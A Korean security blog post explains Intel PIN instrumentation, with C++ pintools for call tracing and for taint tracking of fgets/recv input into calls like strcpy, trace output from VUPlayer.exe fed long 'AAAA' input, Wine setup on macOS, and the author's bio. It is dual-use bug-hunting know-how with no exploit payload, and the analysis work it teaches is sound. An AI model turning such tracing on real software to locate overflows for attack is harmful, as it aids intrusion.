Hyunmini

 PIN 에 대해서 공부한지는 조금 되었으나 적당히 기존 코드로만 붙여넣기 해서 사용했던 것이 사실이다. 최근 개인 프로젝트로 PIN 을 사용할 일이 생겨서 하는 김에 정리해 둔다.

PIN

 PIN 이란, Intel 에서 제작 및 관리중인 Dynamic Binary Instrumentation Framework 이다. BI 분야에서 실행을 하지 않고 조사하는 SBI 와 동적으로 실행중 코드를 조사하는 DBI 가 있는데, 그 중 PIN 은  DBI 를 위한 SDK(?) 정도로 볼 수 있다. 

Intel 이란 기업에서 관리하기 때문에 상당히 업데이트가 잘 되고 있으며 매뉴얼도 매우 충실하게 잘 되어 있다. 또한 수많은 예제코드가 들어 있어서 몇개의 코드만 분석해 보면 바로 사용방법을 알 수 있을 정도로 완성도가 높다. 

한가지 단점은 C++ 로 작성해서 DLL 로 컴파일 해야 하므로 스크립트 언어에 비해 수정&적용이 조금 오래 걸린다는 점이 있다. 하지만 이러한 단점은 장점에 비해 크지 않으므로 수년전부터 현재까지도 PIN 은 매우 인기 있는 DBI 프레임워크로 자리잡았다. 

PIN 은 그 자체로 pin.exe 로 독립된 바이너리이며, 실행 파일을 에뮬레이션 해준다. 에뮬레이션 하는 동안 PINTOOL 로 작성한 DLL 코드를 통해 다양하게 동적으로 코드를 수행할 수 있다.

PINTOOL

PINTOOL 은 PIN SDK 를 이용하여 개발한 라이브러리이다. pin.exe 실행 시 옵션으로(-t) 지정해주면 해당 PINTOOL 을 이용하여 타겟 바이너리를 실행시켜 준다.

Build PINTOOL

 다운로드 및 설치는 검색하면 많으니 타 자료를 참고바란다. 여러가지 방법이 있지만 개인적으로는 cygwin + make 가 편한 듯 하다. visual studio 로도 가능하지만 컴파일 프로그램 특성상 소스코드 수정, 컴파일 및 실행, 빌드된 파일 이동, 실행 등을 자주 해야 해서 차라리 make 로 배치 파일을 만드는 것이 편하다.

# make.bat

cd C:\Users\hyunmini\Desktop\pin-3.2-81205-msvc-windows\source\tools\MyPinTool

make 

copy /y obj-ia32\MyPinTool.dll c:\Users\FSI\Desktop\dbi\pin

cd c:\Users\hyunmini\Desktop\dbi\pin

Simple Example 1 - call tracer

#include "pin.H"
#include <asm/unistd.h>
#include <iostream>
#include <fstream>
#include <list>

UINT32 insCount = 0;    
UINT32 bblCount = 0;    
UINT32 threadCount = 0; 
UINT32 traceCount = 0;

std::ostream * out = &cerr;

KNOB<string> KnobTraceString(KNOB_MODE_WRITEONCE,  "pintool",
    "s", "", "trace string");

INT32 Usage()
{
    cerr << "This tool prints out the traced call with arguments." << endl;
    cerr << KNOB_BASE::StringKnobSummary() << endl;
    return -1;
}

string invalid = "invalid_rtn";

const string *Target2String(ADDRINT target) {
    string name = RTN_FindNameByAddress(target);
    if (name == "") {
        return &invalid;
    } else if (name == ".text" || name == "unnamedImageEntryPoint") {
        return new string(StringFromAddrint(target));
    }
    else
        return new string(name);
}

string ReadCString(ADDRINT target){
    ADDRINT Buffer;
    PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT));
    string cstring;
    while (1) {
        char c = 0;
        if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1)
            break;
        if (c == 0)
            break;
        cstring += c;
        Buffer += 1;
    }
    return cstring;
}

VOID  do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    PIN_LockClient();
    string img_name = IMG_Name(IMG_FindByAddress(ins));
    PIN_UnlockClient();
    string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1);
    string argstr1 = ReadCString(esp);
    string argstr2 = ReadCString(esp+4);
    string argstr3 = ReadCString(esp+8);
    if( 
        argstr1.find(KnobTraceString.Value()) != string::npos || 
        argstr2.find(KnobTraceString.Value()) != string::npos || 
        argstr3.find(KnobTraceString.Value()) != string::npos
      ){
        *out << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl;
        if(argstr1.length()>10){
            argstr1 = argstr1.substr(0,10);
            argstr1 += "...";
        }
        if(argstr2.length()>10){
            argstr2 = argstr2.substr(0,10);
            argstr2 += "...";
        }
        if(argstr3.length()>10){
            argstr3 = argstr3.substr(0,10);
            argstr3 += "...";
        }
        *out << "    arg1 : " << argstr1 << endl;
        *out << "    arg2 : " << argstr2 << endl;
        *out << "    arg3 : " << argstr3 << endl;
    }
}

VOID  do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    if( !taken ) return;
    const string *s = Target2String(target);
    do_call_args(ins, s, arg0, arg1, arg2, esp);
    if (s != &invalid)
        delete s;
}

/* ===================================================================== */

VOID Trace(TRACE trace, VOID *v)
{
    PIN_LockClient();
    IMG img = IMG_FindByAddress(TRACE_Address(trace));
    PIN_UnlockClient();

    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){
        for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
        {
            INS tail = BBL_InsTail(bbl);
            if( INS_IsCall(tail) ) {
                if( INS_IsDirectBranchOrCall(tail) ) {
                    // direct call
                    const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail);
                    INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args),
                                                IARG_INST_PTR,
                                                IARG_PTR, Target2String(target), 
                                                IARG_FUNCARG_CALLSITE_VALUE, 0,
                                                IARG_FUNCARG_CALLSITE_VALUE, 1,
                                                IARG_FUNCARG_CALLSITE_VALUE, 2,
                                                IARG_REG_VALUE, REG_ESP,
                                                IARG_END);
                }
                else {
                    // indirect call
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);
                }
            }
            else {
                RTN rtn = TRACE_Rtn(trace);
                if( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) {
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);       
                }
            }
        }
    }
}

int main(int argc, char *argv[])
{
    PIN_InitSymbols();
    if( PIN_Init(argc,argv) ){  return Usage(); }
    string fileName = "trace_result.txt";
    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    TRACE_AddInstrumentFunction(Trace, 0);

    PIN_StartProgram();
    return 0;
}

실행결과

x00489d99 : VUPlayer.exe!_mbscmp(0x3c34f3c, 0x3be35f8, 0x74aeac8...)
    arg1 : AAAAAAAAAA...
    arg2 : #VUPlayer ...
    arg3 : 
0x004552ac : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f140, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : mod
    arg3 : 
0x004552d2 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f13c, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : s3m
    arg3 : 
0x004552f8 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f138, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : xm
    arg3 : 

0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x004562a3 : VUPlayer.exe!0x004b9f68(0x0, 0x3c3408c, 0x0...)
    arg1 : 
    arg2 : AAAAAAAAAA...
    arg3 : 
0x004b9f68 : VUPlayer.exe!BASS_MusicLoad(0x4562a8, 0x0, 0x3c3408c...)
    arg1 : ‰Eüƒ}ü
    arg2 : 
    arg3 : AAAAAAAAAA...
0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x00453313 : VUPlayer.exe!lstrcpyA(0x12cc44, 0x3c3408c, 0x12d3a8...)
    arg1 : 
    arg2 : AAAAAAAAAA...
    arg3 : 0ü¿4P
0x00453325 : VUPlayer.exe!fopen(0x12cc44, 0x51e098, 0x12d3a8...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : AAAAAAAAAA...

Taint Analysis with PIN

taint analysis 는 이론부터 설명하면 매우 길기 때문에 더이상의 설명은 생략한다!(...)

결론은 쓸만하지만 오류 없이 쓰려면 훨~씬 세세한 컨트롤을 해줘야 함. 그러므로 여기까지만..

 * 코드 일부 생략.

 ** (http://shell-storm.org/blog/Taint-analysis-and-pattern-matching-with-Pin 코드를 아주 많이 참고 하였음을 밝힙니다)

#include "pin.H"

#include <asm/unistd.h>
#include <iostream>
#include <fstream>
#include <list>

UINT32 insCount = 0;    
UINT32 bblCount = 0;    
UINT32 threadCount = 0;
UINT32 traceCount = 0;
BOOL start_taint = false;

std::ostream * out = &cerr;
std::list<ADDRINT> addressTainted;
std::list<REG> regsTainted;

string invalid = "invalid_rtn";

////////////////////////
//  trace user input  //
////////////////////////

VOID fgetsBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2) {
    *out << "[Taint] fgets() : " << endl;
    *out << " buf : 0x" << std::hex << arg1 << endl;
    *out << " size : 0x" << arg2 << endl;
    int size = static_cast<ADDRINT>(arg2);
    start_taint = true;
    for (int i=0;i<size;i++){
        addressTainted.push_back(arg1+i);
    }
}

VOID recvBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT arg3) {
    *out << "[Taint] recv() : " << endl;
    *out << " buf : 0x" << std::hex << arg2 << endl;
    *out << " size : 0x" << arg3 << endl;
    int size = static_cast<ADDRINT>(arg3);
    start_taint = true;
    for (int i=0;i<size;i++){
        addressTainted.push_back(arg2+i);
    }
}

///////////////////////
/// taint analysis  ///
///////////////////////
bool IsRegTainted(REG reg){
    list<REG>::iterator i;

    for(i = regsTainted.begin(); i != regsTainted.end(); i++){
        if (*i == reg){
          return true;
        }
    }
    return false;
}

bool IsMemTainted(ADDRINT mem){
    list<ADDRINT>::iterator i;
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (mem == *i){
            return true;
        }
    }
    return false;
}

bool removeRegTainted(REG reg){
  switch(reg){

    case REG_EAX:  regsTainted.remove(REG_EAX);
    case REG_AX:   regsTainted.remove(REG_AX);
    case REG_AH:   regsTainted.remove(REG_AH);
    case REG_AL:   regsTainted.remove(REG_AL);
         break;

    case REG_EBX:  regsTainted.remove(REG_EBX);
    case REG_BX:   regsTainted.remove(REG_BX);
    case REG_BH:   regsTainted.remove(REG_BH);
    case REG_BL:   regsTainted.remove(REG_BL);
         break;

    case REG_ECX:  regsTainted.remove(REG_ECX);
    case REG_CX:   regsTainted.remove(REG_CX);
    case REG_CH:   regsTainted.remove(REG_CH);
    case REG_CL:   regsTainted.remove(REG_CL);
         break;

    case REG_EDX:  regsTainted.remove(REG_EDX); 
    case REG_DX:   regsTainted.remove(REG_DX); 
    case REG_DH:   regsTainted.remove(REG_DH); 
    case REG_DL:   regsTainted.remove(REG_DL); 
         break;

    case REG_EDI:  regsTainted.remove(REG_EDI); 
    case REG_DI:   regsTainted.remove(REG_DI); 
         break;

    case REG_ESI:  regsTainted.remove(REG_ESI); 
    case REG_SI:   regsTainted.remove(REG_SI); 
         break;

    default:
      return false;
  }
  *out  << "\t\t\t" << REG_StringShort(reg) << " is now freed" << std::endl;
  return true;
}

bool taintReg(REG reg){
    if (IsRegTainted(reg)){
        * out << "\t\t\t" << REG_StringShort(reg) << " is already tainted" << std::endl;
        return false;
    }

    switch(reg){

        case REG_EAX:  regsTainted.push_front(REG_EAX); 
        case REG_AX:   regsTainted.push_front(REG_AX); 
        case REG_AH:   regsTainted.push_front(REG_AH); 
        case REG_AL:   regsTainted.push_front(REG_AL); 
            break;

        case REG_EBX:  regsTainted.push_front(REG_EBX);
        case REG_BX:   regsTainted.push_front(REG_BX);
        case REG_BH:   regsTainted.push_front(REG_BH);
        case REG_BL:   regsTainted.push_front(REG_BL);
            break;

        case REG_ECX:  regsTainted.push_front(REG_ECX);
        case REG_CX:   regsTainted.push_front(REG_CX);
        case REG_CH:   regsTainted.push_front(REG_CH);
        case REG_CL:   regsTainted.push_front(REG_CL);
            break;

        case REG_EDX:  regsTainted.push_front(REG_EDX); 
        case REG_DX:   regsTainted.push_front(REG_DX); 
        case REG_DH:   regsTainted.push_front(REG_DH); 
        case REG_DL:   regsTainted.push_front(REG_DL); 
            break;

        case REG_EDI:  regsTainted.push_front(REG_EDI); 
        case REG_DI:   regsTainted.push_front(REG_DI); 
            break;

        case REG_ESI:  regsTainted.push_front(REG_ESI); 
        case REG_SI:   regsTainted.push_front(REG_SI); 
            break;

        default:
            *out  << "\t\t\t" << REG_StringShort(reg) << " can't be tainted" << std::endl;
            return false;
  }
  *out << "\t\t\t" << REG_StringShort(reg) << " is now tainted" << std::endl;
  return true;
}

VOID ReadMem(INS ins, ADDRINT memOp){
    // memory -> reg
    list<ADDRINT>::iterator i;
    ADDRINT addr = memOp;
    REG read_reg;
  
    if (INS_OperandCount(ins) != 2)
        return;

    read_reg = INS_OperandReg(ins, 0);
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (addr == *i){
            // tainted memory > register
            *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
            taintReg(read_reg);
            return ;
        }
    }
    if (IsRegTainted(read_reg)){
        // untainted memory > tainted register => clear reg
        *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
        removeRegTainted(read_reg);
    }
}

VOID WriteMem(INS ins, ADDRINT memOp){
    // reg -> memory
    list<ADDRINT>::iterator i;
    ADDRINT addr = memOp;
    REG read_reg;
  
    if (INS_OperandCount(ins) != 2)
        return;

    read_reg = INS_OperandReg(ins, 1);
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (addr == *i){
            // tainted memory
            *out << "[Write][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
            if (!REG_valid(read_reg) || !IsRegTainted(read_reg)){
                // untainted register > tainted memory => clear memory
                addressTainted.remove(addr);
            }
            *out << std::hex << "\t\t\t0x" << addr << " is now freed" << std::endl;
            return;
        }
    }

    if (IsRegTainted(read_reg)) {
    // tainted reg > untainted memory => tainted
        addressTainted.push_back(addr);
        *out << std::hex << "\t\t\t0x" << addr << " is now tainted" << std::endl;
        return;
    }
}

VOID spreadReg(INS ins)
{
    REG reg_r, reg_w;

    if (INS_OperandCount(ins) != 2) return;

    reg_r = INS_RegR(ins, 0);  // src
    reg_w = INS_RegW(ins, 0);  // dest 

    if (REG_valid(reg_w)){
        // reg_w not const(address)
        if (IsRegTainted(reg_w) && (!REG_valid(reg_r) || !IsRegTainted(reg_r))){
            // untainted reg > tainted reg => clear reg
            *out  << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl;
            *out  << "\t\t\toutput: "<< REG_StringShort(reg_w) << " | input: " << (REG_valid(reg_r) ? REG_StringShort(reg_r) : "constant") << std::endl;
            removeRegTainted(reg_w);
    }
    else if (!IsRegTainted(reg_w) && IsRegTainted(reg_r)){
        // tainted reg > untainted reg => tainted
        *out  << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl;
        *out  << "\t\t\toutput: " << REG_StringShort(reg_w) << " | input: "<< REG_StringShort(reg_r) << std::endl;
        taintReg(reg_w);
        }
    }
}

VOID Instruction(INS ins, VOID *v){
    if (IMG_IsMainExecutable(IMG_FindByAddress(INS_Address(ins)))){
        // callback for read instruction
        // memory -> reg
        if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsRead(ins, 0) && INS_OperandIsReg(ins, 0)){
            if (start_taint){
                  INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)ReadMem,
                    IARG_PTR, ins,
                    IARG_MEMORYOP_EA, 0,
                    IARG_END);
            }
        }
        // callback for write instruction
        // reg -> memory
        else if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsWritten(ins, 0)){
            if (start_taint){
                INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)WriteMem,
                    IARG_PTR, ins,
                    IARG_MEMORYOP_EA, 0,
                    IARG_END);
            }
        }
        // callback for spread instruction
        // reg -> reg
        else if (INS_OperandCount(ins) > 1 && INS_OperandIsReg(ins, 0)){
            if (start_taint){
                //*out << "[Spread][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
                 INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)spreadReg,
                    IARG_PTR, ins,
                    IARG_END);
            }
        }
    }
}

VOID Image(IMG img, VOID *v){
    // fgets(&Buf, 2000, File);
    RTN fgetsRtn = RTN_FindByName(img, "fgets");
    if (RTN_Valid(fgetsRtn))
    {
        RTN_Open(fgetsRtn);
        RTN_InsertCall(fgetsRtn, IPOINT_BEFORE, (AFUNPTR)fgetsBefore,
                        IARG_FUNCARG_CALLSITE_VALUE, 0,
                        IARG_FUNCARG_CALLSITE_VALUE, 1,
                        IARG_FUNCARG_CALLSITE_VALUE, 2,
                        IARG_END);
        RTN_Close(fgetsRtn);
    }
    // recv(sock, &buf, 2000, 0);
    RTN recvRtn = RTN_FindByName(img, "recv");
    if (RTN_Valid(recvRtn))
    {
        RTN_Open(recvRtn);
        RTN_InsertCall(recvRtn, IPOINT_BEFORE, (AFUNPTR)recvBefore,
                        IARG_FUNCARG_CALLSITE_VALUE, 0,
                        IARG_FUNCARG_CALLSITE_VALUE, 1,
                        IARG_FUNCARG_CALLSITE_VALUE, 2,
                        IARG_FUNCARG_CALLSITE_VALUE, 3,
                        IARG_END);
        RTN_Close(recvRtn);
    }
}

VOID Fini(INT32 code, VOID *v){
    /*
    list<ADDRINT>::iterator li;
    for(li=addressTainted.begin(); li!=addressTainted.end(); li++){
        * out << std::hex << *li << endl;
    }
    */
    *out << "[+] Finish!!" << endl;
}

/////////////////////////////
//////   call trace /////////
/////////////////////////////
const string *Target2String(ADDRINT target) {
    string name = RTN_FindNameByAddress(target);
    if (name == "") {
        return &invalid;
    } else if (name == ".text" || name == "unnamedImageEntryPoint") {
        return new string(StringFromAddrint(target));
    }
    else
        return new string(name);
}

string ReadCString(ADDRINT target){
    ADDRINT Buffer;
    PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT));
    string cstring;
    while (1) {
        char c = 0;
        if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1)
            break;
        if (c == 0)
            break;
        cstring += c;
        Buffer += 1;
    }
    return cstring;
}

VOID  do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    PIN_LockClient();
    string img_name = IMG_Name(IMG_FindByAddress(ins));
    PIN_UnlockClient();
    string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1);
    string argstr1 = ReadCString(esp);
    string argstr2 = ReadCString(esp+4);
    string argstr3 = ReadCString(esp+8);
    bool tainted_func = false;

    if ( IsMemTainted(arg0) ) {
        tainted_func = true;
    }
    if ( IsMemTainted(arg1) ) {
        tainted_func = true;
    }
    if ( IsMemTainted(arg2) ) {
        tainted_func = true;
    }
    
    if ( tainted_func ) {
        *out << "[tainted arg]" << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl;

        if (argstr1.length()>10){
            argstr1 = argstr1.substr(0,10);
            argstr1 += "...";
        }
        if (argstr2.length()>10){
            argstr2 = argstr2.substr(0,10);
            argstr2 += "...";
        }
        if (argstr3.length()>10){
            argstr3 = argstr3.substr(0,10);
            argstr3 += "...";
        }
        *out << "    arg1 : " << argstr1 << endl;
        *out << "    arg2 : " << argstr2 << endl;
        *out << "    arg3 : " << argstr3 << endl;
    }
}

VOID  do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    if ( !taken ) return;
    const string *s = Target2String(target);
    do_call_args(ins, s, arg0, arg1, arg2, esp);
    if (s != &invalid)
        delete s;
}

/* ===================================================================== */

VOID Trace(TRACE trace, VOID *v)
{
    PIN_LockClient();
    IMG img = IMG_FindByAddress(TRACE_Address(trace));
    PIN_UnlockClient();

//    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){
    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){   
        for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
        {
            INS tail = BBL_InsTail(bbl);
            if ( INS_IsCall(tail) ) {
                if ( INS_IsDirectBranchOrCall(tail) ) {
                    // direct call
                    const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail);
                    INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args),
                                                IARG_INST_PTR,
                                                IARG_PTR, Target2String(target), 
                                                IARG_FUNCARG_CALLSITE_VALUE, 0,
                                                IARG_FUNCARG_CALLSITE_VALUE, 1,
                                                IARG_FUNCARG_CALLSITE_VALUE, 2,
                                                IARG_REG_VALUE, REG_ESP,
                                                IARG_END);
                }
                else {
                    // indirect call
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);
                }
            }
            else {
                RTN rtn = TRACE_Rtn(trace);
                if ( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) {
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);       
                }
            }
        }
    }
}
/////////////////////////////////////////////////
////////////// call trace end ///////////////////
/////////////////////////////////////////////////

int main(int argc, char *argv[]){
    PIN_InitSymbols();
    if ( PIN_Init(argc,argv) ){ return -1; }
    string fileName = "taint_analysis_result.txt";
    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    IMG_AddInstrumentFunction(Image, 0);
    INS_AddInstrumentFunction(Instruction, 0);
    TRACE_AddInstrumentFunction(Trace, 0);
    PIN_AddFiniFunction(Fini, 0);

    PIN_StartProgram();
    return 0;
}

실행결과

[Taint] fgets() : 
 buf : 0x12f76c
 size : 0x7d0
[tainted arg]0x0040113e : reader_taint.exe!myreadfile(0x12f76c, 0x61616161, 0x61616161...)
    arg1 : aaaaaaaaaa...
    arg2 : 
    arg3 : 
[Read][0x401029] : mov dl, byte ptr [ecx+0x5]
            dl is now tainted
            0x12f55f is now tainted
[Read][0x401035] : mov cl, byte ptr [eax+0x6]
            cl is now tainted
            0x12f55d is now tainted
[Read][0x401041] : mov al, byte ptr [edx+0x8]
            al is now tainted
            0x12f55e is now tainted
[Write][0x40104d] : mov byte ptr [ecx+0x2], 0x66
            0x12f76e is now freed
[Write][0x401054] : mov byte ptr [edx+0x4], 0x67
            0x12f770 is now freed
[Write][0x40105b] : mov byte ptr [eax+0xb], 0x68
            0x12f777 is now freed
[Write][0x401062] : mov byte ptr [ecx+0x15], 0x6d
            0x12f781 is now freed
[tainted arg]0x00401071 : reader_taint.exe!strcpy(0x12f560, 0x12f76c, 0x61616101...)
    arg1 : 
    arg2 : aafagaaaaa...
    arg3 : 
[tainted arg]0x004010a0 : reader_taint.exe!main(0x401143, 0x12f76c, 0x61666161...)
    arg1 : ƒÄëë3À‹...
    arg2 : aafagaaaaa...
    arg3 : 
[+] Finish!!

WINE

대부분의 작업은 맥을 사용하고 있으나 IDA 등을 사용하기 위해 Win7, Win10 가상머신을 함께 활용한다.

그러던 중 예~전 리눅스 배우던 초보 시절 실행해보고 감탄했던 wine 이 생각나서 찾아보니 맥에서도 

잘 돌아간다고 하는 포스팅을 보고 간단히 설치해 봤다. 결론부터 말하면 글꼴 등 세팅이 조금 귀찮지만

쓸만하다. 간단한 툴 뿐 아니라 IDA 처럼 무거운 툴도 잘 돌아간다.(심지어 빠르다!!) 

설치

# brew cask install xquartz

# brew install wine

설치확인

$ wine<tab>

wine         winebuild    winecpp      winefile     winemaker    wineserver   

wine64       winecfg      winedbg      wineg++      winemine     

wineboot     wineconsole  winedump     winegcc      winepath    

Windows 용 프로그램 실행

 구조를 보니 홈폴더 하위에 .wine 폴더가 생기고 그 아래에 윈도우와 동일한 폴더구조가 생성된다. 

 특이점으로 레지스트리 하이브 파일도 .wine 폴더에 있다. vi 로 쉽게 수정이 가능하다.

 우선 노트패드를 실행해 봤다. 잘된다.

원래 목적이었던 IDA 를 실행해 봤다. 글꼴이 좀 구리지만 잘된다. 

글꼴설치는  ~/.wine/drive_c/windows/fonts 폴더에 복사해주면 된다고 한다.

가끔 급할때 쓰면 좋겠다. 끝.

                                 About hyunmini

                                                                                   last updated 2022.1.

• 이력

• 2011              KOSCOM 침해사고대응 (침해사고 대응 및 포렌식)
• 2012~2015     금융결제원 금융ISAC (취약점 분석평가) 
• 2019~2020      고려대학교 정보보호대학원 석사 
• 2015~              금융보안원 (취약점 분석 및 모의해킹)

• Skills

• Penetration Testing ( Android / IOS / Web / N/W Infra / S/W Vuln Assessment )   +++++
• Programming language ( Python / C / C++ / PHP / JSP / VB / etc...)   ++++
• Reversing ( Binary Analysis / Malware Analysis )  ++++
• Digital Forensic  +++
• Windows Exploit Analysis / Development  ++++
• Linux Pwnable ++
• AI - Machine Learning ( Tensorflw / Keras / DeepLearning / NLP / etc... ) +++

• Project

• 500+           Website/Mobile App Penetration Testing
• 50+             IT Infra Penetration Testing (Financial, Public institutions, etc...)
• fmem          Android/iOS memory analyzer (using frida) 
• dymon        Dynamic Mobile Pentesting Framework
• webtools     Webhacking Scripting Framework (Python module, scriptable)
• AIBFT          AI Browser Forensic Toolkit (Using Tensorflow, Keras)
• nr2ai           Automated Malware Analysis using AI
• zerocube      AI Based ZeroTrust Solution
• AI를 적용한 클라이언트 사이드 기반 웹 공격 대응(BOB, 2020)
• 인공지능 기반 3단계 인증을 도입한 차량 출입통제 시스템 및 가이드라인(BOB, 2021)
• 전방위적 스캠 코인 탐지 체계 구축(BOB, 2021)

• 관심분야

• Windows Binary Analysis & Exploitation
• BugHunting & Bounty
• Application Hacking(Web/Mobile)
• Digital Forensic
• Data Science - AI(Machine Learning) for Security

• 발표 및 강의

• 그룹
• 2020. ~     Best Of the Best 컨설팅 트랙 멘토
• 2014. ~     NULL@ROOT (Korea Hacker Group)  
• 2009. ~     Secuholic 운영 (Naver Hacking&Security Cafe, https://cafe.naver.com/secuholic)

• 저서 및 번역서
• 2019.12    윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇(개정판) : DBI, Win10 x64, Browser Exploit, AEG 등 추가
• 2019.10    금융 사이버 보안 리스크 관리 : 금융기관의 사이버 보안 취약점 이해와 분석 관리
• 2016.1      윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇

• 취약점 리포트

• 2021
  • ezPDFReader Arbitrary Command Execution (CVE-2021-26605)
  • on***  타사용자 정보 탈취(GraphQL Injection)
  • on***  graphql listing
• 2019
• N****   XSS 
• N****   Open redirect 
• N****   Improper authorization 
• N****   Authentication Bypass

• 2018

• K***    Bufferoverflow
• Ep***  Bufferoverflow
• J**      Remote Command Execution

• 2017

• Pagespy  Memory Corruption
• K***         ActiveX Bufferoverflow
• e***         ActiveX Bufferoverflow
• gl****       ActiveX Arbitrary code execution

• 2016

• Gnuboard 5.x     BlindSQL Injection
• A,B 사                Blind OOB XXE
• Global U***        Arbitrary File Creation  

• 2014

• 수상내역

• 2021.   KISA HDCON 본선 1위(대상, 과학기술정보통신부장관상)
• 2020.   K-사이버시큐리티챌린지 AI악성코드분석트랙 본선 2등(최우수상, 한국인터넷진흥원장상)
• 2020.   K-사이버시큐리티챌린지 AI악성코드분석트랙 경기권역 2등(경기도경제과학진흥원장상)
• 2019.   네이버 버그바운티 명예의 전당 등재
• 2018.   금융보안원 위협분석대회 1위(대상)
• 2017.   CCE(국가보안기술연구소) 해킹대회 예선3위 / 본선6위
• 2016.   KISA HDCON 본선 6위
• 2016.   "윈도우 시스템 해킹 가이드" 리버싱 분야 우수학술도서 선정
• 2015.   KISA HDCON 본선 6위
• 2014.   KISA보호나라 S/W신규취약점 신고 2014년 명예의전당 TOP 3
• 2011.   KISA&KISIA 주최 악성코드 찾기대회 1등

hyunmini85@gmail.com

